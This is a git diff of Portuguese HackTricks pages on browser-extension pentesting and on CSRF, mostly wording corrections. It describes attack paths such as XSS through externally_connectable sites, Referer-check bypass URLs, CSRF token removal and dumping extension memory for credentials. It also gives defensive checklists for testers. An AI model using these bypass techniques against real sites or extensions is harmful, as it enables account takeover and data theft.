Quando este botão é clicado, um mensagem é enviada para as páginas da extensão pelo script de conteúdo, através da utilização da [**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Isso ocorre devido à limitação do script de conteúdo em acessar APIs diretamente, sendo `storage` uma das poucas exceções. Para funcionalidades além dessas exceções, mensagens são enviadas para as páginas da extensão com as quais os scripts de conteúdo podem se comunicar.
|
||||
Uma mensagem é enviada para as páginas da extensão pelo script de conteúdo quando este botão é clicado, através da utilização da [API **runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Isso ocorre devido à limitação do script de conteúdo no acesso direto às APIs, sendo o `storage` uma das poucas exceções. Para funcionalidades além dessas exceções, mensagens são enviadas para as páginas da extensão com as quais os scripts de conteúdo podem se comunicar.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dependendo do navegador, as capacidades do script de conteúdo podem variar ligeiramente. Para navegadores baseados em Chromium, a lista de capacidades está disponível na [documentação do Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e para o Firefox, o [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serve como fonte primária.\
|
||||
Dependendo do navegador, as capacidades do script de conteúdo podem variar ligeiramente. Para navegadores baseados em Chromium, a lista de capacidades está disponível na [documentação dos desenvolvedores do Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e para o Firefox, o [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serve como fonte primária.\
|
||||
Também é importante notar que os scripts de conteúdo têm a capacidade de se comunicar com scripts de plano de fundo, permitindo que realizem ações e transmitam respostas de volta.
|
||||
{% endhint %}
|
||||
|
||||
Para visualizar e depurar scripts de conteúdo no Chrome, o menu de ferramentas para desenvolvedores do Chrome pode ser acessado em Opções > Mais ferramentas > Ferramentas do desenvolvedor OU pressionando Ctrl + Shift + I.
|
||||
|
||||
Após as ferramentas para desenvolvedores serem exibidas, a **aba Origem** deve ser clicada, seguida pela aba **Scripts de Conteúdo**. Isso permite a observação dos scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
|
||||
Ao exibir as ferramentas para desenvolvedores, a **aba Origem** deve ser clicada, seguida pela aba **Scripts de Conteúdo**. Isso permite a observação dos scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
|
||||
|
||||
### Scripts de conteúdo injetados
|
||||
|
||||
{% hint style="success" %}
|
||||
Observe que **Scripts de Conteúdo não são obrigatórios** pois também é possível **injetar scripts dinamicamente** e **injetá-los programaticamente** em páginas da web via **`tabs.executeScript`**. Isso, na verdade, fornece mais **controles granulares**.
|
||||
Observe que **Scripts de Conteúdo não são obrigatórios**, pois também é possível **injetar scripts dinamicamente** e **injetá-los programaticamente** em páginas da web via **`tabs.executeScript`**. Isso, na verdade, fornece mais **controles granulares**.
|
||||
{% endhint %}
|
||||
|
||||
Para a injeção programática de um script de conteúdo, a extensão precisa ter [permissões de host](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual os scripts serão injetados. Essas permissões podem ser garantidas tanto solicitando-as dentro do manifesto da extensão quanto de forma temporária através de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
Para a injeção programática de um script de conteúdo, a extensão precisa ter [permissões de host](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual os scripts serão injetados. Essas permissões podem ser garantidas tanto solicitando-as dentro do manifesto da extensão quanto temporariamente através de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
|
||||
#### Exemplo de extensão baseada em activeTab
|
||||
|
||||
|
@ -205,7 +205,7 @@ Os valores possíveis são:
|
|||
|
||||
* **`document_idle`**: Sempre que possível
|
||||
* **`document_start`**: Após quaisquer arquivos de `css`, mas antes de qualquer outro DOM ser construído ou qualquer outro script ser executado.
|
||||
* **`document_end`**: Imediatamente após o DOM estar completo, mas antes que subrecursos como imagens e frames sejam carregados.
|
||||
* **`document_end`**: Imediatamente após o DOM estar completo, mas antes de subrecursos como imagens e frames serem carregados.
|
||||
|
||||
#### Via `manifest.json`
|
||||
```json
|
||||
|
@ -234,7 +234,7 @@ js : [ "contentScript.js" ],
|
|||
```
|
||||
### `background`
|
||||
|
||||
As mensagens enviadas pelos scripts de conteúdo são recebidas pela **página de fundo**, que desempenha um papel central na coordenação dos componentes da extensão. Notavelmente, a página de fundo persiste ao longo da vida da extensão, operando discretamente sem interação direta do usuário. Possui seu próprio Modelo de Objeto de Documento (DOM), permitindo interações complexas e gerenciamento de estado.
|
||||
As mensagens enviadas pelos scripts de conteúdo são recebidas pela **página de fundo**, que desempenha um papel central na coordenação dos componentes da extensão. Notavelmente, a página de fundo persiste ao longo da vida da extensão, operando discretamente sem interação direta do usuário. Possui seu próprio Document Object Model (DOM), permitindo interações complexas e gerenciamento de estado.
|
||||
|
||||
**Pontos Chave**:
|
||||
|
||||
|
@ -258,7 +258,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
|
|||
```
|
||||
Ele usa a [API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para ouvir mensagens. Quando uma mensagem `"explain"` é recebida, ele usa a [API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir uma página em uma nova aba.
|
||||
|
||||
Para depurar o script de segundo plano, você pode ir para os **detalhes da extensão e inspecionar o service worker**, isso abrirá as ferramentas de desenvolvedor com o script de segundo plano:
|
||||
Para depurar o script de fundo, você pode ir para os **detalhes da extensão e inspecionar o service worker**, isso abrirá as ferramentas de desenvolvedor com o script de fundo:
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -272,14 +272,14 @@ As extensões do navegador podem conter vários tipos de páginas:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Observe que essas páginas não são persistentes como as páginas de segundo plano, pois carregam conteúdo dinamicamente quando necessário. Apesar disso, elas compartilham certas capacidades com a página de segundo plano:
|
||||
Observe que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente quando necessário. Apesar disso, elas compartilham certas capacidades com a página de fundo:
|
||||
|
||||
* **Comunicação com Scripts de Conteúdo:** Semelhante à página de segundo plano, essas páginas podem receber mensagens de scripts de conteúdo, facilitando a interação dentro da extensão.
|
||||
* **Comunicação com Scripts de Conteúdo:** Semelhante à página de fundo, essas páginas podem receber mensagens de scripts de conteúdo, facilitando a interação dentro da extensão.
|
||||
* **Acesso a APIs Específicas da Extensão:** Essas páginas têm amplo acesso a APIs específicas da extensão, sujeitas às permissões definidas para a extensão.
|
||||
|
||||
### `permissions` e `host_permissions`
|
||||
|
||||
**`permissions`** e **`host_permissions`** são entradas do `manifest.json` que indicarão **quais permissões** as extensões do navegador possuem (armazenamento, localização...) e em **quais páginas da web**.
|
||||
**`permissions`** e **`host_permissions`** são entradas do `manifest.json` que indicarão **quais permissões** a extensão do navegador possui (armazenamento, localização...) e em **quais páginas da web**.
|
||||
|
||||
Como as extensões do navegador podem ser tão **privilegiadas**, uma maliciosa ou comprometida poderia permitir ao atacante **diferentes meios de roubar informações sensíveis e espionar o usuário**.
|
||||
|
||||
|
@ -297,7 +297,7 @@ A configuração padrão para páginas de extensão do navegador é bastante res
|
|||
```bash
|
||||
script-src 'self'; object-src 'self';
|
||||
```
|
||||
Para obter mais informações sobre CSP e possíveis formas de contorná-lo, verifique:
|
||||
Para obter mais informações sobre CSP e possíveis formas de contorná-lo, consulte:
|
||||
|
||||
{% content-ref url="../content-security-policy-csp-bypass/" %}
|
||||
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
|
||||
|
@ -333,19 +333,19 @@ Nas extensões públicas, o **ID da extensão é acessível**:
|
|||
|
||||
No entanto, se o parâmetro `manifest.json` **`use_dynamic_url`** for usado, esse **ID pode ser dinâmico**.
|
||||
|
||||
Permitir o acesso a essas páginas torna essas páginas **potencialmente vulneráveis ao ClickJacking**:
|
||||
Permitir o acesso a essas páginas torna essas páginas **potencialmente vulneráveis ao Clickjacking**:
|
||||
|
||||
{% content-ref url="browext-clickjacking.md" %}
|
||||
[browext-clickjacking.md](browext-clickjacking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Permitir que essas páginas sejam carregadas apenas pela extensão e não por URLs aleatórios poderia prevenir ataques de CLickJacking.
|
||||
Permitir que essas páginas sejam carregadas apenas pela extensão e não por URLs aleatórios poderia prevenir ataques de Clickjacking.
|
||||
{% endhint %}
|
||||
|
||||
### `externally_connectable`
|
||||
|
||||
Conforme a [**documentação**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), A propriedade do manifesto `"externally_connectable"` declara **quais extensões e páginas da web podem se conectar** à sua extensão via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
Conforme a [**documentação**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), a propriedade do manifesto `"externally_connectable"` declara **quais extensões e páginas da web podem se conectar** à sua extensão via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
|
||||
* Se a chave **`externally_connectable`** não for declarada no manifesto da sua extensão ou for declarada como **`"ids": ["*"]`**, **todas as extensões podem se conectar, mas nenhuma página da web pode se conectar**.
|
||||
* Se **IDs específicos forem especificados**, como em `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **apenas essas aplicações** podem se conectar.
|
||||
|
@ -357,14 +357,14 @@ Conforme a [**documentação**](https://developer.chrome.com/docs/extensions/ref
|
|||
```
|
||||
* Se for especificado como vazio: **`"externally_connectable": {}`**, nenhum aplicativo ou site poderá se conectar.
|
||||
|
||||
Quanto **menos extensões e URLs** indicados aqui, **menor será a superfície de ataque**.
|
||||
Quanto menos extensões e URLs indicados aqui, menor será a superfície de ataque.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Se uma página da web **vulnerável a XSS ou takeover** for indicada em **`externally_connectable`**, um atacante poderá **enviar mensagens diretamente para o script de plano de fundo**, contornando completamente o Content Script e sua CSP.
|
||||
Se uma página da web vulnerável a XSS ou takeover for indicada em **`externally_connectable`**, um atacante poderá enviar mensagens diretamente para o script de plano de fundo, contornando completamente o Content Script e sua CSP.
|
||||
|
||||
Portanto, este é um **bypass muito poderoso**.
|
||||
Portanto, este é um bypass muito poderoso.
|
||||
|
||||
Além disso, se o cliente instalar uma extensão maliciosa, mesmo que não seja permitido comunicar-se com a extensão vulnerável, ela poderá injetar **dados XSS em uma página da web permitida** ou abusar das APIs **`WebRequest`** ou **`DeclarativeNetRequest`** para manipular solicitações em um domínio específico, alterando a solicitação de uma página para um **arquivo JavaScript**. (Observe que a CSP na página-alvo pode prevenir esses ataques). Essa ideia vem [**deste artigo**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
Além disso, se o cliente instalar uma extensão maliciosa, mesmo que não seja permitido comunicar-se com a extensão vulnerável, ela poderá injetar dados XSS em uma página da web permitida ou abusar das APIs `WebRequest` ou `DeclarativeNetRequest` para manipular solicitações em um domínio específico, alterando a solicitação de uma página para um arquivo JavaScript. (Observe que a CSP na página alvo pode prevenir esses ataques). Essa ideia vem [**deste artigo**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
@ -393,7 +393,7 @@ port.postMessage(event.data.text);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="example.js" %}
|
||||
{% code title="exemplo.js" %}
|
||||
```javascript
|
||||
document.getElementById("theButton").addEventListener("click", () => {
|
||||
window.postMessage(
|
||||
|
@ -408,7 +408,7 @@ Uma comunicação segura de Post Message deve verificar a autenticidade da mensa
|
|||
- O script de conteúdo pode esperar uma mensagem apenas se o usuário realizar alguma ação
|
||||
- **domínio de origem**: pode esperar uma mensagem apenas de uma lista permitida de domínios.
|
||||
- Se uma regex for usada, tenha muito cuidado
|
||||
- **Fonte**: `received_message.source !== window` pode ser usado para verificar se a mensagem foi **da mesma janela** onde o Content Script está ouvindo.
|
||||
- **Fonte**: `received_message.source !== window` pode ser usado para verificar se a mensagem foi **da mesma janela** onde o Script de Conteúdo está ouvindo.
|
||||
|
||||
As verificações anteriores, mesmo se realizadas, podem ser vulneráveis, então verifique na seguinte página **possíveis bypasses de Post Message**:
|
||||
|
||||
|
@ -426,7 +426,7 @@ Outra possível forma de comunicação pode ser através de **URLs de Iframe**,
|
|||
|
||||
### DOM
|
||||
|
||||
Isso não é "exatamente" uma forma de comunicação, mas a **web e o script de conteúdo terão acesso ao DOM da web**. Portanto, se o **script de conteúdo** estiver lendo algumas informações dele, **confiando no DOM da web**, a web poderia **modificar esses dados** (porque a web não deve ser confiável, ou porque a web é vulnerável a XSS) e **comprometer o Content Script**.
|
||||
Isso não é "exatamente" uma forma de comunicação, mas a **web e o script de conteúdo terão acesso ao DOM da web**. Portanto, se o **script de conteúdo** estiver lendo algumas informações dele, **confiando no DOM da web**, a web poderia **modificar esses dados** (porque a web não deve ser confiável, ou porque a web é vulnerável a XSS) e **comprometer o Script de Conteúdo**.
|
||||
|
||||
Você também pode encontrar um exemplo de **XSS baseado em DOM para comprometer uma extensão do navegador** em:
|
||||
|
||||
|
@ -436,17 +436,17 @@ Você também pode encontrar um exemplo de **XSS baseado em DOM para comprometer
|
|||
|
||||
## Informações Sensíveis na Memória/Código
|
||||
|
||||
Se uma Extensão do Navegador armazena **informações sensíveis em sua memória**, isso poderia ser **dumped** (especialmente em máquinas Windows) e **procurado** por essas informações.
|
||||
Se uma Extensão do Navegador armazena **informações sensíveis em sua memória**, isso poderia ser **dumped** (especialmente em máquinas Windows) e **pesquisado** por essas informações.
|
||||
|
||||
Portanto, a memória da Extensão do Navegador **não deve ser considerada segura** e **informações sensíveis** como credenciais ou frases mnemônicas **não devem ser armazenadas**.
|
||||
|
||||
Claro, **não coloque informações sensíveis no código**, pois será **público**.
|
||||
|
||||
Para fazer dump da memória do navegador, você pode **fazer dump da memória do processo** ou ir para as **configurações** da extensão do navegador clicar em **`Inspect pop-up`** -> Na seção **`Memory`** -> **`Take a snaphost`** e **`CTRL+F`** para pesquisar dentro do snapshot por informações sensíveis.
|
||||
Para fazer dump da memória do navegador, você pode **fazer dump da memória do processo** ou ir para as **configurações** da extensão do navegador clicar em **`Inspecionar pop-up`** -> Na seção **`Memória`** -> **`Tirar um instantâneo`** e **`CTRL+F`** para pesquisar dentro do instantâneo por informações sensíveis.
|
||||
|
||||
## Comunicação entre Content Script **↔︎** Background Script
|
||||
## Comunicação Script de Conteúdo **↔︎** Script de Fundo
|
||||
|
||||
Um Content Script pode usar as funções [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar uma mensagem **serializável em JSON** de uma vez.
|
||||
Um Script de Conteúdo pode usar as funções [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar uma mensagem **serializável em JSON** de uma vez.
|
||||
|
||||
Para lidar com a **resposta**, use a **Promise** retornada. Embora, para compatibilidade com versões anteriores, você ainda possa passar um **callback** como último argumento.
|
||||
|
||||
|
@ -541,19 +541,19 @@ Abra o Chrome e vá para `chrome://extensions/`. Ative o "Modo Desenvolvedor" no
|
|||
|
||||
## Lista de Verificação de Auditoria de Segurança
|
||||
|
||||
Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias de fortalecimento potenciais**. As seguintes são as mais comuns:
|
||||
Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias de fortalecimento potenciais**. As mais comuns são:
|
||||
|
||||
* [ ] **Limitar** o máximo possível as **`permissões`** solicitadas
|
||||
* [ ] **Limitar** o máximo possível as **`host_permissions`**
|
||||
* Usar uma **`content_security_policy`** **forte**
|
||||
* [ ] Usar uma **`content_security_policy`** forte
|
||||
* [ ] **Limitar** o máximo possível o **`externally_connectable`**, se nenhum for necessário e possível, não deixe por padrão, especifique **`{}`**
|
||||
* Se a **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens diretamente para os scripts de segundo plano**. Um bypass muito poderoso.
|
||||
* [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazio, se possível.
|
||||
* Se **`web_accessible_resources`** não for nenhum, verifique o [**ClickJacking**](browext-clickjacking.md)
|
||||
* Se houver alguma **comunicação** da **extensão** para a **página da web**, [**verifique XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
|
||||
* Se Post Messages forem usados, verifique [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
|
||||
* Se o **Script de Conteúdo acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
|
||||
* Faça um destaque especial se essa comunicação também estiver envolvida na **comunicação do Script de Conteúdo -> Script de Segundo Plano**
|
||||
* [ ] Se **URL vulnerável a XSS ou a takeover** for mencionado aqui, um atacante poderá **enviar mensagens diretamente para os scripts de segundo plano**. Um bypass muito poderoso.
|
||||
* [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazio se possível.
|
||||
* [ ] Se **`web_accessible_resources`** não for nenhum, verifique o [**ClickJacking**](browext-clickjacking.md)
|
||||
* [ ] Se houver **comunicação** da **extensão** para a **página da web**, [**verifique XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
|
||||
* [ ] Se Post Messages forem usados, verifique [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
|
||||
* [ ] Se o **Script de Conteúdo acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
|
||||
* [ ] Faça um destaque especial se essa comunicação também estiver envolvida na **comunicação do Script de Conteúdo -> Script de Segundo Plano**
|
||||
* **Informações sensíveis não devem ser armazenadas** dentro do código da Extensão do Navegador
|
||||
* **Informações sensíveis não devem ser armazenadas** na memória da Extensão do Navegador
|
||||
|
||||
|
@ -564,7 +564,7 @@ Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**,
|
|||
* Extrai qualquer extensão do Chrome a partir de um link fornecido da Chrome Web Store.
|
||||
* Visualizador de [**manifest.json**](https://developer.chrome.com/extensions/manifest): exibe simplesmente uma versão JSON formatada do manifesto da extensão.
|
||||
* Análise de Impressão Digital: Detecção de [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) e geração automática de JavaScript de impressão digital de extensão do Chrome.
|
||||
* Análise Potencial de Clickjacking: Detecção de páginas HTML de extensão com a diretiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) definida. Estas são potencialmente vulneráveis ao clickjacking, dependendo do propósito das páginas.
|
||||
* Análise Potencial de Clickjacking: Detecção de páginas HTML de extensão com a diretiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) definida. Essas são potencialmente vulneráveis ao clickjacking, dependendo do propósito das páginas.
|
||||
* Visualizador de Aviso(s) de Permissão: que mostra uma lista de todos os avisos de permissão do Chrome que serão exibidos ao usuário ao tentar instalar a extensão.
|
||||
* Função(ões) Perigosa(s): mostra a localização de funções perigosas que poderiam ser potencialmente exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
|
||||
* Ponto(s) de Entrada: mostra onde a extensão recebe entrada do usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente criados para a extensão.
|
||||
|
@ -581,12 +581,12 @@ Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**,
|
|||
* Baixar extensão e versões formatadas.
|
||||
* Baixar a extensão original.
|
||||
* Baixar uma versão embelezada da extensão (HTML e JavaScript automaticamente embelezados).
|
||||
* Armazenamento automático de resultados de varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, na segunda vez, assumindo que a extensão não tenha sido atualizada, será quase instantâneo devido aos resultados serem armazenados em cache.
|
||||
* Cache automático dos resultados da verificação, executar uma verificação de extensão levará um bom tempo na primeira vez que você a executa. No entanto, na segunda vez, assumindo que a extensão não tenha sido atualizada, será quase instantâneo devido aos resultados estarem em cache.
|
||||
* URLs de Relatórios Linkáveis, facilmente vincule alguém a um relatório de extensão gerado pelo tarnish.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões de navegador para navegadores conhecidos como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos de origem Javascript e HTML.
|
||||
O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões do navegador para navegadores conhecidos como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos de origem Javascript e HTML.
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -606,10 +606,10 @@ O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recurso
|
|||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
* Se deseja ver a **sua empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver a **sua empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -19,33 +19,33 @@ Outras maneiras de apoiar o HackTricks:
|
|||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
## Explicação do Cross-Site Request Forgery (CSRF)
|
||||
## Explicação de Cross-Site Request Forgery (CSRF)
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ele permite que atacantes realizem ações em nome de usuários desavisados explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona solicitações na conta da vítima através de métodos como executar JavaScript, enviar formulários ou buscar imagens.
|
||||
**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ele permite que atacantes realizem ações em nome de usuários desavisados explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona solicitações na conta da vítima por meio de métodos como executar JavaScript, enviar formulários ou buscar imagens.
|
||||
|
||||
### Pré-requisitos para um Ataque CSRF
|
||||
|
||||
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
|
||||
|
||||
1. **Identificar uma Ação Valiosa**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, e-mail ou elevar privilégios.
|
||||
2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente por cookies ou pelo cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para este fim.
|
||||
2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente por meio de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para este fim.
|
||||
3. **Ausência de Parâmetros Impraticáveis**: A solicitação não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
|
||||
|
||||
### Verificação Rápida
|
||||
|
||||
Você pode **capturar a solicitação no Burp** e verificar as proteções CSRF e para testar a partir do navegador você pode clicar em **Copiar como fetch** e verificar a solicitação:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Defendendo-se Contra CSRF
|
||||
|
||||
|
@ -57,7 +57,7 @@ Várias contramedidas podem ser implementadas para se proteger contra ataques CS
|
|||
* **Verificação de Cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as solicitações venham de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como:
|
||||
* Usando `http://mal.net?orig=http://example.com` (URL termina com a URL confiável)
|
||||
* Usando `http://example.com.mal.net` (URL começa com a URL confiável)
|
||||
* **Modificar Nomes de Parâmetros**: Alterar os nomes dos parâmetros em solicitações POST ou GET pode ajudar a prevenir ataques automatizados.
|
||||
* **Modificar Nomes de Parâmetros**: Alterar os nomes de parâmetros em solicitações POST ou GET pode ajudar a prevenir ataques automatizados.
|
||||
* **Tokens CSRF**: Incorporar um token CSRF único em cada sessão e exigir este token em solicitações subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aprimorada ao aplicar CORS.
|
||||
|
||||
Compreender e implementar essas defesas é crucial para manter a segurança e integridade de aplicações web.
|
||||
|
@ -70,7 +70,7 @@ Talvez o formulário que você deseja abusar esteja preparado para enviar uma **
|
|||
|
||||
### Falta de token
|
||||
|
||||
Aplicações podem implementar um mecanismo para **validar tokens** quando estão presentes. No entanto, surge uma vulnerabilidade se a validação for completamente ignorada quando o token está ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas o seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
|
||||
Aplicações podem implementar um mecanismo para **validar tokens** quando estão presentes. No entanto, surge uma vulnerabilidade se a validação for completamente ignorada quando o token estiver ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas o seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
|
||||
|
||||
### Token CSRF não está vinculado à sessão do usuário
|
||||
|
||||
|
@ -78,11 +78,11 @@ Aplicações que **não vinculam tokens CSRF às sessões de usuário** apresent
|
|||
|
||||
Veja como os atacantes exploram isso:
|
||||
|
||||
1. **Autenticam** usando sua própria conta.
|
||||
1. **Autenticam-se** usando sua própria conta.
|
||||
2. **Obtêm um token CSRF válido** do pool global.
|
||||
3. **Usam este token** em um ataque CSRF contra uma vítima.
|
||||
|
||||
Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o mecanismo de validação de token inadequado da aplicação.
|
||||
Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação.
|
||||
|
||||
### Bypass de Método
|
||||
|
||||
|
@ -103,7 +103,7 @@ Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **
|
|||
|
||||
### Token CSRF é verificado por um cookie
|
||||
|
||||
